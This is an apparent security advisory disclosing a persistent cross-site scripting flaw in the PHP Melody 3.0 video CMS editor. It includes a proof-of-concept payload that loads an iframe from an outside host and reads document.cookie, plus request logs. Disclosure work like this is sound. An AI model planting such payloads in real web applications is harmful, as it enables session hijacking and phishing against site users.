# Exploit Title: PHP Melody 3.0 - Persistent Cross-Site Scripting (XSS)
# Vendor Homepage:

Document Title:
PHP Melody v3.0 - (Editor) Persistent XSS Vulnerability

References (Source):


Product & Service Introduction:
Upload, import, stream or embed any media. The smart way to manage audio & video. Comes with all the tools you need for online publishing.
Beautiful content for your site. Allow users to create their channels, subscribe and follow the content they like. Podcast, mini-series,
TV shows or movies. Everything is easier to publish with our CMS. Invest in a Secure Foundation. Build with a proven CMS.

(Copy of the Homepage: )

Abstract Advisory Information:
The vulnerability laboratory core research team discovered a persistent cross site web vulnerability in the PHP Melody v3.0 video cms web-application.

Affected Product(s):
Product: PHP Melody v3.0 - Video CMS (Web-Application)

Technical Details & Description:
A persistent input validation web vulnerability has been discovered in PHP Melody v3.0 video cms web-application.
The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to
compromise browser to web-application requests from the application-side.

The persistent cross site web vulnerability is located in the video editor (WYSIWYG) with the tinymce class.
Privileged user accounts like edtiors are able to inject own malicious script code via editor to provoke a
public execution by users oder administrators. The request method to inject is get and after save in dbms
via post method the attack vector becomes persistent.

Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent
external redirects to malicious source and persistent manipulation of affected application modules.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] Editor - Videos (WYSIWYG - tinymce)

Vulnerable File(s):
[+] edit-episode.php

Vulnerable Parameter(s):
[+] episode_id

Affected Module(s):
[+] description

Proof of Concept (PoC):
The persistent validation vulnerability can be exploited by remote attackers with privileged editor user account and with low user interaction.
For security demonstration or to reproduce the web vulnerability follow the provided information and steps below to continue.

PoC: Payload
<p><a title=""><iframe src="//[PWND]">">">"
href=""><iframe%20src=evil.source onload=alert(document.cookie)>">">">">"></iframe></a></p>

--- PoC Session Logss (GET) [WYSIWYG] ---[PWND]
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive
Cookie: PHPSESSID=aac20732ffd23b7d11815fa2b8f2e12a; melody_d900e07810ba03257e53baf46a9ada6f=admin;
cookieconsent_dismissed=yes; sidebar-main-state=maxi; watched_video_list=MSw0LDUsNw%3D%3D;
pm_elastic_player=normal; aa_import_from=youtube; guest_name_d900e07810ba03257e53baf46a9ada6f=admin
GET: HTTP/2.0 200 OK
content-type: text/html;
vary: Accept-Encoding

Vulnerable Source: Video Editor (WYSIWYG - tinymce)
<textarea name="description" cols="100" id="textarea-WYSIWYG" class="tinymce" style="display: none;"
aria-hidden="true"><p><test title=""><iframe src="//">">">"
  href=""><iframe%20src=evil.source onload=alert(document.cookie)>">">">">"></iframe></a></p></textarea>
<span class="autosave-message"></span>


Solution - Fix & Patch:
Encode and sanitize the input description parameter of the web editor tinymce class for moderators, editors or users to prevent attacks.